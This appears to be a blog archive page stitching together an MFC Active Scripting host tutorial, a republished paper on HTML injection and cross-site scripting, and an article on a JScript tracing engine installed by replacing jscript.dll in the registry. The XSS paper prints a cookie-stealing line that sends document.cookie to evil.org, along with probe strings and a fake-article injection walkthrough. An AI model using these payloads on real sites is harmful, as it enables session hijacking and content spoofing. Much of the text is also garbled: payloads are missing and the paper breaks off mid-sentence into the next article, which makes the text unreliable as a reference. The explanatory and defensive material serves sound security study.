Adding Macro Scripting language support to existing MFC Application

2008-11-07T00:12:00.001-08:00

Adding Macro Scripting language support to existing MFC Application
MFCScriptHost.zip
Originally published for CodeProject

Introduction
Writing applications that host a script engine to enable developer to write scripts and macros has proven to be very successful. There are thousands of developers using the Windows® Script engines in their applications. The Microsoft implementation simplifies greatly what you need to do to add macro capabilities to your application. The best choice is to use the Active Scripting technology. First of all, Active Scripting technology uses existing scripting language, so you don't need to learn any new language. If you know how to program with VBScript, JavaScript or even PerlScript, that is all you need. In this article, I will present a simple alternative that allows you to add Scripting support to your application.

Description
The Active Scripting architecture consists of a family of COM interfaces that defines a protocol for connecting a scripting engine to a host application. In the world of Active Scripting, a script engine is just a COM object that's capable of executing script code dynamically in response to either direct parsing or loading of script statements, explicit calls to the script engine's IDispatch interface, or outbound method calls (events) from the host application's objects. The host application can expose its automation interfaces to the script engine's namespace, allowing the application's objects to be accessed as programmatic variables from within dynamically executed scripts. A client application that needs to add script support only needs to implement Host portion of this technology. Different vendors may implement their own implementation of Engine, giving you now alternative to use other language that you already know. A good example is the PerlScript engine. A company may decide to use it instead of using JavaScript or VBScript in order to maintain existing code base.

Figure 1: Active Scripting architecture

Figure 2: Active Scripting COM Iteraction

Figure 1: shows the basic architecture of Active Scripting, and Figure 2: shows sequence diagram detail of the COM interfaces defined by the architecture. Your client application that needs to use Active Scripting technology, creates and initializes a scripting engine based on the scripting language you want to parse, and you connect your application to the engine via the SetScriptSite method. You can then feed the engine script code that it can execute either immediately (not a function) or at some point in the future (function call), based on the script engine content and its state. For example, the following script text contains only global statements, and therefore could execute at parse time:

ScriptHost.Display("Hello CodeProject guru around the world.");

This statement would force the application to display a message box with the message text (using the MFCScriptHost.exe Application) but:

function HostDisplay()
{
ScriptHost.Display("Hello CodeProject guru around the world.");
}

would force the application to display this message only when HostDisplay() is called. But the good news is that this new method can also be accessed by your application whenever you want. To execute this function, your client application (Site object) needs to call GetIDsOfNames and Invoke of the IDispatch pointer of the script engine being used to force the execution of this function. Another cool feature of the Active Scripting technology is that you can add any automation object to the script engine items list and access its methods and properties from your script. In fact, these features are being used inside of Microsoft Office applications, Internet Explorer and Visual Studio. For example, you could have an item named 'Documents' and expose the list of opened documents in your application. Your implementation of the Script Site would call AddNamedItem("Documents") on the script engine interface pointer.

For example, in our last example, the script engine gets a dispatch pointer of the "ScriptHost" named-item and call the "Display" method. But internally a lot of this process depends on the state of the Scripting Engine. That is the state of the engine must be started (SCRIPTSTATE_STARTED). At this point (when the engine is started), the engine would query the ActiveScriptSite object to resolve a named-item to a IDispatch interface pointer. It will then access that interface properties and methods by calling GetIDsOfNames and Invoke. This new item then becomes just like an internal variable that can be accessed whenever it needs it. Also, it becomes apparent how simple it is for the script engine to access the named-item properties and methods thanks to these two IDispatch interface methods.

But connecting event function to the script engine is a bit more tricky for many reasons. The more apparent reason is that the script engine must be able to do late-binding event support on a named-item. To support binding events to host named-item, Active Scripting engines use connection points to map outbound method calls/events from the host application's objects onto script functions. The way the named-item event function is called depends on the script language. VBScript uses a whole different approach to bind event call than JavaScript. Andrew Clinick's Scripting Events article give a lot more details than what I could cover here, so you may want to check it out. I think this may be enough to get you start, now if you want to learn more, please check first the following References at the bottom of this article.
This article was updated to show how the ScriptHost object can trigger event to the script. I think this may be enough to get you start. To learn more about Scripting please check first the following References at the bottom of this article.

Adding Scripting Support to your application

1. The first step consists to creating an .ODL file (if your application doesn't have one). Advanced MFC developers could also fake this process by some others means (since we will not register this library) but I will not cover this here. You will have to generate a GUID by using GUIDGen.exe (available in tools folder of Visual Studio). A typical .ODL file would look like this

// YourAppName.odl : type library source for YourAppName.exe

// This file will be processed by the MIDL compiler to produce the
// type library (YourAppName.tlb).

[ uuid(XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX), version(1.0) ]
library YourAppName
{
importlib("stdole32.tlb");
importlib("stdole2.tlb");

//{{AFX_APPEND_ODL}}
//}}AFX_APPEND_ODL}}
};

2. Use ClassWizard (Ctrl+W) to create an Automation object derived from CCmdTarget that will be the host object (ActiveScriptSite's client object). Define methods that you want to make available from your host. For example, you may have methods like: CreateActiveX(strProgID),DisplayMessage(strMessage), etc. Typically, these new dispatch methods would be called from a script.
3. In your new class files, replace all references of CCmdTarget with CActiveScriptHost. At this point you will have to include ActiveScriptHost.h/cpp to your project.
4. *UPDATED* Override the virtual function HRESULT GetClassID( LPCLSID pclsid ). It must return successfully the CLSID of your host object. The CSLID can be found in the .ODL file once you create the automation object in step 2. Typical implementation will look like this:

HRESULT CHost_Proxy::GetClassID( LPCLSID pclsid )
{
*pclsid = CLSID_Host_Proxy;
return S_OK;
}

5. Note also that at this point our object no difference than a standard COM object (or ActiveX control) but we will not register it as we would normally do. *UPDATED* You will need to declare the type library that you are using. This step is tricky but using MFC macro, it is a lot easier. Just add DECLARE_OLETYPELIB(CYourHost_Proxy) in the header file of your proxy class and IMPLEMENT_OLETYPELIB(CYourHost_Proxy, _tlid, _wVerMajor, _wVerMinor) in the .cpp file. _tlid is the GUID of the typelibrary (step 1) and _wVerMajor/_wVerMinor represent the version number of your typelibary. Also, use the resource include editor to add these directives.

#ifdef _DEBUG
1 TYPELIB "Debug\\YourAppName.tlb"
#else
1 TYPELIB "Release\\YourAppName.tlb"
#endif

6. *NEW* Now Add an event-source object, for example:

[ uuid(740C1C2D-692F-43F8-85FF-38DEE1742819) ]
dispinterface IHostEvent
{
properties:
methods:
[id(1)] void OnRun();
[id(2)] void OnAppExit();
};
// Class information for CHost_Proxy
[ uuid(F8235A29-C576-439D-A070-6E7980C9C3F6) ]
coclass Host_Proxy
{
[default] dispinterface IHost_Proxy;
[default, source] dispinterface IHostEvent;
};

As you can see in this example, our Host now supports two events that we can trigger directly from our code by using COleControl::FireEvent function. Such functions are very simple. For example:

void FireOnRun()
{FireEvent(eventidOnRun,EVENT_PARAM(VTS_NONE));}
void FireOnAppExit()
{FireEvent(eventidOnAppExit,EVENT_PARAM(VTS_NONE));}

7. Create an instance of your host object (can also be a dynamically-created class by using MFC macro) and call CYourHostProxy::CreateEngine( 'Language ProgID' ) which can be 'JavaScript' or 'VBScript' if you want to use these engine.
8. Add implementation code to your proxy methods to do what you wish to let the advanced users do with your application.
9. Add any additional named-item object that you wish to access from script language
10. Provide way for the user to create script or load script text from disk. CActiveScriptHostclass provide helper functions that you may want to reuse based on functionalities that you want to give in your application. By the way, it is not safe to let user create Inproc-ActiveX object but Local-server is generally good. One good reason not to let the user create ActiveX control is that, if a crash occured inside of the ActiveX, your application should not. Local-server give you freely this kind of safety.

Revision History

///////////////////////////////////////////////////////////////////////////////
// Version history
// v1.01 : Bug fix with accessing object info (ITypeInfo)
// v1.10 : Add 'InvokeFuncHelper' allows to call script function directly from c++
// v1.5 : Add support for Host event (now derive from COleControl instead of CCmdTarget)
///////////////////////////////////////////////////////////////////////////////

References
Say Goodbye to Macro Envy with Active Scripting - Don Box
Scripting Events - Andrew Clinick
Q168214 - SAMPLE MFCAxs.exe Implements an Active Script Host Using MFC
VBScript Documentation
JScript Documentation

Adding Macro Scripting language support to existing MFC Application

2008-11-07T00:12:00.000-08:00

Paper: HTML Code Injection and Cross-Site Scripting

2008-10-27T20:30:00.000-07:00

http://www.xssed.com/article/8/Paper_HTML_Code_Injection_and_Cross-Site_Scripting/
Paper: HTML Code Injection and Cross-Site Scripting
Written by Gunter Ollmann - Technicalinfo.net
Monday, 21 May 2007

Contents:

* Abstract
* Introduction
* Code Insertion
* Malicious Code
* Cross-Site Scripting
* Understanding Code Insertion
o Inline Scripting
o Forced Error Responses
o Non

Hello World!

Unfortunately, attackers are finding ever more ingenious methods of encoding their embedded attacks, and consequently many more sites are vulnerable.
Of particular importance is the abuse of trust. Consider a trusted site with a poorly coded search engine. An attacker may be able to embed their malicious code within a hyperlink to the site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site sends a page back to the browser including the value of criteria, which consequently forces the execution of code from the evil attackers’ server. For example;

Go to trusted.org

In the attack above, one source is inserting code into pages sent by another source.

It should be noted that this attack:
• disguises the link as a link to http://trusted.org,
• can be easily included in an HTML email message,
• does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove the exploit code at anytime.
This class of vulnerability is popularly referred to as cross-site scripting (CSS or sometimes XSS).
Cross Site Scripting

A cross-site scripting vulnerability is caused by the failure of an web based application to validate user supplied input before returning it to the client system. “Cross-Site” refers to the security restrictions that the client browser usually places on data (i.e. cookies, dynamic content attributes, etc.) associated with a web site. By causing the victim’s browser to execute injected code under the same permissions as the web application domain, an attacker can bypass the traditional Document Object Model (DOM) security restrictions which can result not only in cookie theft but account hijacking, changing of web application account settings, spreading of a webmail worm, etc.
Note that the access that an intruder has to the Document Object Model (DOM) is dependent on the security architecture of the language chosen by the attacker. Specifically, Java applets do not provide the attacker with any access beyond the DOM and are restricted to what is commonly referred to as a sandbox.
The most common web components that fall victim to CSS/XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesn’t necessarily have to click on a link; CSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags.
The most popular CSS/XSS attack (and devastating) is the harvesting of authentication cookies and session management tokens. With this information, it is often a trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process. Unfortunately, the mechanism of the attack is very simple and can be easily automated. A detailed paper by iDefence goes into great detail explaining the process, but can be quickly summarised as follows:

1. The attacker investigates an interesting site that normal users must authenticate to gain access to, and that tracks the authenticated user through the use of cookies or session ID’s
2. The attacker finds a CSS vulnerable page on the site, for instance http://trusted.org/ account.asp.
3. Using a little social engineering, the attacker creates a special link to the site and embeds it in an HTML email that he sends to a long list of potential victims.
4. Embedded within the special link are some coding elements specially designed to transmit a copy of the victims cookie back to the attacker. For instance: document.location .replace('http://evil.org/steal.cgi?'+document.cookie);">
5. Unknown to the victim, the attacker has now received a copy of their cookie information.

The attacker now visits the web site and, by substituting his cookie information with that of the victims, is now perceived to be the victim by the server application.

Note that Cross-site scripting is commonly referred to as CSS and/or XSS.
Understanding Code Insertion

To date, security professions have discovered an ever increasing number of methods for potentially embedding code within poorly configured web applications. The following are some of the more common methods for doing so.
Inline Scripting

http://trusted.org/search.cgi?criteria=

http://trusted.org/search.cgi?val=

http://trusted.org/COM2.IMG%20src= "Javascript:alert(document.domain)"
Forced Error Responses

http://trusted.org/
This insertion facet usually occurs due to poor error handling by the web server or application component. The application fails to find the requested page and reports an error which unfortunately includes the unprocessed script data.

http://trusted.org/search.cgi?blahblahblahblahblah
If a Java application such as a servlet fails to handle an error gracefully, and allows stack traces to be sent to the users browser, an attacker can construct a URL that will throw an exception and add his malicious script to the end of the request.

http://trusted.og/servlet/ org.apache.catalina.servlets.WebdavStatus/
In the example above, when the Tomcat servlet is called with the training illegitimate request, an error page is served containing the offending text verbatim.
Non

is filtered by the application to become:

Unfortunately, it is a simple task to bypass the filter. This is accomplished by including script code that will close the filter process. For example, the attacker can send the following code:

After processing by the filter, the following code is embedded in the returned document:

This particular attack was originally designed to bypass the security filtering processes of a large web-mail provider, and would have been embedded in HTML email content. Users viewing the email would automatically be prompted with a fake login screen, making for an easy method of harvesting user names and passwords.

Separate Window Handling
A popular method of handling potentially dangerous URL information is to force the URL to be opened in a new browser window. This then causes and malicious code to be executed in the context of a different DOM, using the ‘target=“_blank”’ addition to the HTML tag.
Unfortunately, in many online email applications it is possible to bypass after analysing the “harmless” link supplied by the site.
Consider a site that parses the content,
click-me
and, after processing, becomes:
click-me
Causing the URL to be opened in a new window.

However, if the attacker constructs his HREF as follows,
click-me
causing the code to be executed in the same page, under the same DOM.

Escaped JavaScript Entities
In cases where almost all special characters have are filtered from user supplied strings, attackers must encode the entire attack string.
Consider the following URL:
http://trusted.org/search.cgi?query=%26%7balert%28%27EVIL %27%29%7d%3b&apropos=pos2

The “%26%7balert%28%27EVIL%27%29%7d%3b” resolves to &{alert('EVIL')}; causing in this instance an unexpected JavaScript alert window to popup, with the text “EVIL”.
Web Integration

As client web browsers have evolved, they have incorporated an increasingly diverse range of functions. At the same time, many common desktop applications have extended their functionality to replicate or incorporate the functionality of these same browsers. While the security flaw may be HTML injection, and more specifically CSS, the avenues available for a malicious user or attacker to initiate the attack are becoming ever broader. As is already evident, a popular “personalised” delivery mechanism has now become HTML email. Unfortunately, the delivery methods are becoming so diverse that no “single” security solution is available to prevent the attack. Consider the significance of the following delivery mechanisms.
The Flash! Attack

Flash! is a popular application for displaying animated visual information. Is has it’s own development language (ActiveScript) for creating sophisticated interactive menus, animated movies and games. The most popular web browsers often install the interpreter for these files by default and, due to the large number of sites that use the technology; many people will install the interpreter even if it wasn’t originally available with their web browser.
ActiveScript has an internal function called getURL(). This function is used for redirecting the client browser to another page. Normally the parameter supplied to the function would be a URL. However, due to integration features between the Flash! interpreter and the web browser, it is possible to insert scripting code that would be successfully interpreted by the client web browser.

For instance, instead of:
getURL("http://www.technicalinfo.net")

It is possible to specify scripting code:
getURL("javascript:alert(document.cookie)")

Thus, it is possible to embed potentially dangerous scripting elements within a common file format. The real significance of this threat is that it potentially bypasses many corporate content inspection systems (particularly those that filter out HTML

&{alert('CSS Vulnerable')};
In any case, should an alert message popup with the text “CSS Vulnerable”, the application component is vulnerable - specifically the input field just checked.
2. If, either of the above scripting checks cause the HTML page to display incorrectly, the application component may still be vulnerable.
3. For each visible variable, submit/substitute the following string:
'';!--"=&{()} (Note that the string begins with two single-quotes)
On the resultant page, search for the string ““. If you discover ““, it is quite probable that the application component is vulnerable. However, if the word CSS_Check is no longer enclosed in something similar to %ltCSS_Check%gt, then it may not be vulnerable. If input is displayed literally at ANY point in the document, it can be used to divert the flow of execution to an attacker-supplied payload.
4. Having located the word CSS_Check, verify what (if any) other characters have be altered or filtered from the original string “'';!--"= &{()}”. Depending upon the filtered characters, the application component may still be vulnerable.
5. Looking closely at the returned HTML code, identify the specific string an attacker would need to break out of the current HTML tag or code sequence. If these characters exist, unfiltered, in responses to the test string of part 3 (above) – then there is a high probability that the application component is vulnerable.
6. Moving on from the obvious fields, repeat the process for all the hidden fields not normally editable at the client end. The best method of doing this is through the use of a free local host proxy server such as Achilles by DigiZen Security group and WebProxy by @stake. The proxy servers allow the editing of HTTP requests as they leave the client application, before being finally sent to the server application.
7. In many cases, data will be submitted via the HTTP GET request. Throughout the investigation, take note of potentially vulnerable application components that require the HTTP POST command to submit data.

It is a simple process of turning a POST into a GET submission. If the application component fails to respond to the GET the same way as it did for the POST submission, it is probably not vulnerable to a URL based inline scripting attack.
Putting It All Together

To bring together many of the ideas and processes discussed earlier in this document, an example can be used to bring it all together. In this example, the anonymous site has a search engine that responds to client data submissions. Normally the site would look like this:

In our first test, we try submitting our first test string , and receive the following response:

Notice the strange response in the “Your Search” box on the left. Zoomed in below.

Taking a closer look at the content source, we notice that our sample code appears 21 times in the document, in various formats.

It appears 10 times in a format similar to:

9 times in a format similar to:
2

And twice in the format similar to:
document.writeln('"70\" VALUE=\'\'>');

Obviously there are three different server-side processing routines for processing client search data.

1. In the first type (ad.uk.doubleclick.net format), it appears that the processing routine changes the case of characters and changes white space to the underscore (“_”).
2. The second type (href=) converts special characters into their escape-encoded formats, and white space into the “+” character.
3. The third type (document.writeln) places the complete string within a document.writeln JavaScript routine.

Several opportunities present themselves here. To make the site execute the JavaScript alert box for each type, we need to force the 2. a>
3. \'><

The result is the following alert box (multiple times):

However, for this example, we shall focus on the last type (document.writeln). Since it is possible to inject code into the returned HTML page to the anonymous News site, to make the attack interesting, we shall “write” our own fake news article.

Due to the maximum length of any string we can send to the site, and the likely length of the fake news article, we shall create a JavaScript include file (.js) which we will load in to the page using: \'>

In this example, the include file will use multiple document.write statements to create the fake news article. There are several key features to the include file, and include -

* Use of HTML
tags to position the content on the page. Doing so allows the attacker to cover over existing content as they wish.
* Using a table to keep all the article text together.
* Rewriting of the URL source field at the top of the browser.
* Rewriting of the browser status bar.

From the first few lines of the fake.js file:
var d = document;
d.write('

');
d.write('
');

So far, everything we have tested on the site makes use of the existing form to submit the attacker’s code. This submission is done by a HTTP POST command, such as:
POST /Search HTTP/1.0
Referer: http://www.anonymous.com/Search
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Host: www.anonymous.com
Content-Length: 135
Pragma: no-cache
dropnav=Pick+a+section&q=\'>
newSearch=true&pro=IT&searchOption=articles

It is a simple process to convert the HTTP POST into a single URL. Unfortunately for the anonymous news site, the web application does not differentiate the methods of receiving data. Thus the following attack URL allows the attacker to place his own content “on” the site.
http://www.anonymous.com/Search?dropnav=Pick+a+section&q=\'>newSearch=true&pro=IT
&searchOption=articles

Defending Against the Attack
Solutions for Users

The only clear-cut solution for the user is to disable all scripting languages on their computer. Unfortunately, it is highly likely that much functionality of the sites regularly visited will be removed. Thus users should only pursue this option if they require the lowest possible level of request. Alternatively, users must be selective as to the sites they trust, and the sources of URL links. Again, the disabling of scripting languages will not prevent attackers influencing the appearance of content provided by trusted sites by embedding other HTML tags in the URL link.
With scripting enabled, visual inspection of links does not protect users from following malicious links, since the attacker’s web site may still use scripted code to alter the representation of the links in the client browser.
Unfortunately many integrated applications increase the threat of scripting code being executed on the users system, particularly through the use of embedded objects such as Flash! .swf files. To prevent these types of attacks, users must either uninstall the interpreters or ensure protection systems are capable of stopping the execution of such content. It is envisaged that popular anti-virus and personal intrusion detection systems will eventually be capable of this.
Frankly, the onus for protecting users against code insertion and CSS type attacks relies upon the development of secure server-side applications. Ideally, the application should correctly handle and comment submitted data. Unfortunately, the likelihood that the application developer will miss some subtle character representation is quite high.
Solutions for Developers and Organisations

As no two applications are ever the same, application developers will need to tune their security countermeasures as defined by business requirements. The key to preventing applications being vulnerable to code injection and CSS type attacks is by ensuring that dynamically generated page content does not contain undesired HTML tags.

The most likely sources of malicious data are likely to be:

* Query strings
* URL’s and pieces of UL’s
* Posted data
* Cookies
* Persistent data supplied by users, and retrieved at a later date (such as from databases)

The following methods or design considerations can be implemented by developers to better secure their application against HTTP based attacks, not just CSS.
Limit Server Responses

In many cases it may be possible to limit the amount of “personalised” data that will be returned to client browsers through the use of generic responses.
For example, consider a site that that displays the greeting “Hello, Gunter!” in response to http://trusted.org/greeting.jsp?name=Gunter. It would be a preferable security option to sacrifice this dynamic response with a hard-coded response such as “Hello, User!”
Enforce Response Lengths

For the majority of applications, the developer should be able to limit the maximum length of any user-supplied strings. Although initially enforced at the client-side, all strings should also be checked at the server-side. Where possible, enforce the limitation of the maximum necessary string length by truncating any longer responses.
HTTP Referer

As part of the HTTP standard, provision is made for a field header called “referer”. When a client browser follows a link or submits form data, the referer field should contain the URL of the page that the link or data came from. If possible, the web application should check the referer field and reject data if it didn’t come from the correct host or link.
HTTP Referer
Usually appearing in the HEAD of any HTTP requests:
Referer: http://www.anonymous.com/Search
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Host: www.anonymous.com
Advantages:

* An attack would fail irrespective of any character or HTML tag filtering policies.

Disadvantages:

* There is a risk of blocking legitimate links and form submission. As the referer field is optional, rejecting a blank referer field would prevent the application supporting certain client browsers.
* In some cases, the referer field may be blank or missing if the user followed a link that may be referenced locally (e.g. email messages, cached pages and favourites).
* Some browsers deliberately clear the referer field when navigating from a secure (HTTPS) page to an unsecure (HTTP) page.

Embedded Files and Objects

As witnessed by the Flash! Attack, attackers may be capable of embedding scripting components that can be interpreted by the client web browser and used to conduct a CSS attack.
For inclusion within a HTML based document, embedded files and objects are referred to using the HTML and tags. Several options are available for decreasing the threat of embedded CSS attacks:

*
The safest option is to treat and tags the same as

IE itself does not handle script code; the scripting model used by Microsoft is partitioned so that different components are used to handle hosting, script parsing and execution and debugging. These disparate components communicate via a set of well defined interfaces. The advantage of this approach is that any one of these components can be replaced without the need to change the others.

When IE processes the language attribute in the above example it looks in the registry for a COM component that is registered with the "jscript" ProgID. This will be the Microsoft JScript engine. To use a different scripting engine simply use a different name for the language attribute. As long as this maps to a COM component that supports the required ActiveScript interfaces IE will use that engine to process the script. The other name most commonly used is of course "vbscript".

As part of establishing the connection to the scripting engine IE will call the SetScriptSite method and pass an IActiveScriptSite pointer. This pointer is used by the scripting engine to call back to IE in a number of different situations.

After creating the scripting engine IE will pass the code within the SCRIPT element for parsing using the engine's ParseScriptText method.

Eventually this code will be executed in response to user-interaction or events (e.g. onload) within IE. At this point the scripting engine will encounter the "window" object. The engine has no knowledge of this object and so will call on the IActiveScriptSite pointer to get a dispatch interface to the object. It then uses this interface to set the "title" property of the object.

Armed with this information it is (relatively) easy to devise a strategy to achieve the goal of tracing JScript function calls:

* Create a scripting engine that supports the necessary interfaces.
* Get IE to use this engine rather than the real JScript engine.
* Instrument the script code with trace code before the script is parsed.
* Output trace statements when the script is executed.

The steps are described in the following sections.
Creating a Scripting Engine

There is no need to create a scripting engine from scratch (thankfully) as we are only interested in intercepting a few methods on the IActiveScript interface. Instead we simply create a COM component that wraps an instance of the Microsoft JScript engine.

When IE calls SetScriptSite our engine creates an instance of a component that implements the IActiveScriptSite interface and caches the interface pointer from IE. It also creates an instance of the COM object which is responsible for outputting the trace information (see below). This object is referred to in script using the name __JSD.

When IE calls the ParseScriptText method on our interface the script code is passed to the parser and points of interest (see below) are instrumented with method calls to the __JSD object. Here 'instrumentation' simply means inserting the appropriate script text.

Apart from the methods described above all other calls are simply delegated to the 'real' instance of the engine. Additionally any query interface calls for additional interfaces are simply delegated using the ATL COM_INTERFACE_ENTRY_FUNC_BLIND mechanism.
Engine Usage

There are two ways to get IE to use the JScriptDebug engine:

Explicit Usage

This requires that you tell IE in your code that you want to use JSD. For example the following

When IE sees the language attribute it looks for a script engine registered under the "jscriptdebug" ProgId and creates an instance of it. While this is simple to do it does not meet the design goal of not having to modify code.

Implicit Usage

To trace functions without having to tell the IE that it should use JSD instead of the proper JScript engine we need implicit usage. To achieve this it is necessary to modify the InProcServer32 setting of the proper JScript engine so that it points to jscriptdebug.dll and not jscript.dll.

The location of the JScript scripting engine is stored under the following registry key:

HKEY_CLASSES_ROOT/CLSID/{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}/InProcServer32

The default value is the location of the dll, it will be something like this:

c:\winnt\system32\jscript.dll

To use JSD instead the entry is simply replaced with the path to the JSD dll, for example:

c:\utils\jscriptdebug.dll

Now all attempts to use the JScript engine will result in use of JSD instead. Implicit usage of JSD is referred to as Replace Mode.

Parsing and Instrumentation

When IE passes a block of script code to JSD it is parsed to look for any function entry and exit points. Each instance found is instrumented with additional code which emits debug strings to describe the function and its arguments. The instrumented code is then passed to the managed instance of the real JScript engine which does the actual scripting work.

The injected code consists of methods calls on the global __JSD object described above.

The code for a function entry looks like this:

__JSD._TraceFn(arguments,false);

and for the function exit:

__JSD._TraceFnExit(arguments,false);

Note that (in common with many of the other JSD functions listed below) these functions are called with an argument of "arguments". This object is an implicit member of every function object and is used by JSD to extract the values of the arguments passed to the function. JSD can also use this object to find out the name of the function. In most situations you could also pass the function object by name, e.g.:

function foo() {
__JSD._TraceFn(foo);
}

and JSD could get the "arguments" object from the function object. However, for an anonymous function, e.g.

var fn = function() {
__JSD._TraceFn(???);
}

there is no function name to pass to JSD. Passing the arguments object works in both situations.

Any return statements in the code are also replaced so that all possible exit point are covered, for example:

if (bFinished)
return true;

is replaced by:

if (bFinished)
{var __x=true;__JSD._TraceFnExit(arguments,__x); return __x;}

Again, "arguments" is used to access the function name (see above).

If the parser fails for any reason the un-instrumented script is passed to the scripting engine instead and an error message is written to the output stream.

Note that any code which is instrumented by JSD has the conditional compilation variable @JSD added. This provides an easy way to control use of the client API - see below.
Generating Trace Output

All calls to trace output which are made on the __JSD object ultimately result in a call to the Win32 API function OutputDebugString. These emitted strings can be viewed by running a suitable viewer - like this one from SysInternals.

To help filtering of these messages from other calls to OutputDebugString all trace statements are preceded by the "JSD:" prefix. Strings are also indented to show levels of nesting for each function.

The __JSD object gets the information it requires (function name and passed arguments) from the "arguments" object which is passed in as part of the instrumented function call. It is a simple case of calling the appropriate methods on the dispatch interface of this object to read the required values.
Using the code

As described above JSD gives you trace information to assist debugging without the need to modify your code. Just make sure the component is registered as described above and run you application and the output will be produced.

JSD also exposes a client API which provides:

* Control over the implicit usage.
* An additional set of methods for instrumenting your code to output debugging information.

Control Methods

The following methods affect the implicit JSD calls.

Reset

Resets internal values and also works out the current indent level based on the current call stack.

This is most useful when you have thrown an exception from deep within a nested call to a try/catch handler high up the call stack. If you don't call reset JSD will start tracing the next lot of functions at whatever level of indentation was reached before the exception was raised. Fairly soon the trace statements will disappear off the r.h.s. of the output !

Usage:

catch(e)
{
__JSD.Reset(arguments);
reportError("Exception caught in global catch handler");
}

Trace

Turns tracing on/off from this point in the code until it is turned on/off again with another call. Takes a boolean argument.

var bPrevious = __JSD.Trace; // get previous setting

__JSD.Trace = true;

// Do something

__JSD.Trace = bPrevious; // reset to previous setting

Additional API Methods

All API methods are member functions of the global JSD object - which is available to your code under the name __JSD.

The __JSD object will be avilable if you are running in Replace Mode but not when you are using the normal JScript engine. To enable your code to run without problems in both situations you can use the @JSD conditional compilation flag which is added when JSD parses your code, e.g.

@if (@JSD)
__JSD.ClearTrace();
@end

Note - The API methods such as TraceText always emit trace statements regardless of the state of the global trace flag (see above).

The API methods are as follows:

TraceText

Inserts the text string into the stream of JSD trace messages. Usage:

__JSD.TraceText("Halfway through function foo");

TraceStack

This writes out a trace of the functions in the current call stack and displays the arguments to each one. The stack trace is also returned as a string. Usage:

alert("Error occurred here : " + __JSD.TraceStack(arguments));

This method also takes an (optional) second parameter or type bool - if this is present and set to false the current function is not included in the call stack, only those above it.

TraceFn

Records entry to the function and any lists any arguments. Usage:

__JSD.TraceFn(arguments);

This function also takes an optional name which overrides the actual name of the function. The real reason for this parameter is to allow for naming of anonymous functions (see below).

function
foo(){
__JSD.TraceFn(arguments,"callMeBar");
}

TraceFnExit

Records exit from a function and optionally the value returned from the function. Usage:

__JSD.TraceFnExit(arguments,"bye");

ClearTrace

Outputs the special debug string DBGVIEWCLEAR. This can be intercepted by any viewer of debug messages and used as an instruction to clear the messages on display. DebugView works in this way (what a lucky coincidence !). Usage:

__JSD.ClearTrace()

JSD Directives

In some situations it is necessary to instrument the code to control JSD. This is done in the form of directives embedded within comments.

_JSD_NO_TRACE_

JSD instruments each call immediately before the first statement in the function. This means that the following:

function foo() { __JSD.Trace(false); }

Will still trace all calls to foo as the injected code is called before the Trace method turns trace output off. To turn off tracing of a specific function call you need to instrument the function declaration like this:

function foo() /* _JSD_NO_TRACE_ */ {
// Body of function

}

or like this:

function foo() // _JSD_NO_TRACE_ {

// Body of function

}

Do this when you need to avoid tracing a function like onmousemove that is firing constantly and generating too much output.

Additionally if the first 128 bytes of your script contains this directive:

/* _JSD_NO_TRACE_ */

then the whole file is excluded from the instrumentation process.

_JSD_TRACE_

This is the opposite of _JSD_NO_TRACE_ and ensures that the function is traced (even if the global trace flag is set to off). In reality this directive is not required as putting __JSD.TraceFn at the start of the function would do the same job. It has the benefit of being ignored by the real JScript engine if this is being used directly whereas an explicit call to TraceFn would need to be removed or guarded in some way (conditional compilation etc.).

_JSD_NAME_

Allows you to give a name to an otherwise anonymous function. E.g. :

foo.doIt = function() /* foo::doIt */
{
// Body of function

}

gives a name to the member function of the foo class.

If anonymous functions are not named in this way JSD will generate a name for each function, as follows:

JScript_Anonymous_Function_XXX

Where XXX is simply an integer incremented each time an anonymous function is parsed by JSD.
Settings

The JSD Configurator utility can be used to manage all the JSD settings. The settings are described fully in the help text supplied with this application as well as being summarised here.

There are a number of parameters which allow you to have some control over the output of JSD:

Trace - Sets the default value for tracing output of instrumented functions - 1 is on by default, 0 is off by default. Even when this setting is set to zero calls to the API functions (see below) will still be traced.

Indent - Number of spaces that are added for each level of indentation for nested function calls. Default is 3. Use 0 to turn off indentation.

Instrument - Determines whether to instrument code to trace function entry and exit. If this value is present and set to zero tracing is turned off, otherwise instrumentation is enabled. You would turn this off when you want to use the features of JSD API explicitly and don't want each and every call logged.

Opt-In

Because implicit usage means that JSD is used anywhere that JScript would have been used (for instance the Windows Explorer search window, Windows logon scripts, MSDN document explorer, etc.) you must explicitly opt-in to get this implicit usage (so its not really implicit !).

This additional level of configuration is mostly to avoid any bugs that are introduced during development from causing nasty problems. While (hopefully) this is not an issue for the release version it is still prudent to limit the usage of JSD in this way - just in case !

To opt-in to JSD usage requires that your application is listed under the JScriptDebug registry key:

Screenshot - TraceApps.gif

Only applications listed here get the trace functionality by default and only if the DWORD value is set to 1. All other applications will use the Microsoft JScript engine.
Problems / Issues / Outstanding Features

* The parser is a hand-crafted, ad-hoc solution. It will not successfully parse all the JScript code that the Microsoft script engine will parse. However it works most of the time and if you write 'standard' JScript code you won't have any problems. If you like to push the boundaries of readability in your code then this component is not for you !
* You MUST use a semi-colon at the end of a return statement, even if you are returning a function definition. The script parser in JSD will fail if it doesn't find this token. The parser could be improved to avoid this need but this would involve some reasonably tricky modifications to what is otherwise a relatively simple parser. Semi-colons are cheap so for the moment its not really an issue.
* The parser will probably break if it finds a regular expression like this :

var re = new /}/;

The parser will not notice that the "}" character is in a regular expression and therefore should be ignored. This should be fairly easy to fix but a simple workaround is to use quoted strings for the regular expression.
* When JSD is loaded but the application is not listed in the TraceApp key an instance of the real JScript engine is returned and the JSD instance deletes itself. This should mean that the JSD dll can be freed by the application and unloaded. Despite DllCanUnloadNow returning S_OK and the reference count being correctly returned to zero JSD is not unloaded by some applications.
* Although the parser passes the un-instrumented to the JScript engine when it recognizes that it has failed, there may be situations where it thinks it has succeeded but actually emits code that doesn't compile. Caveat emptor !
* The same principles could be used to instrument VBScript. I don't tend to use VBScript so I haven't had the motivation to do this.
*

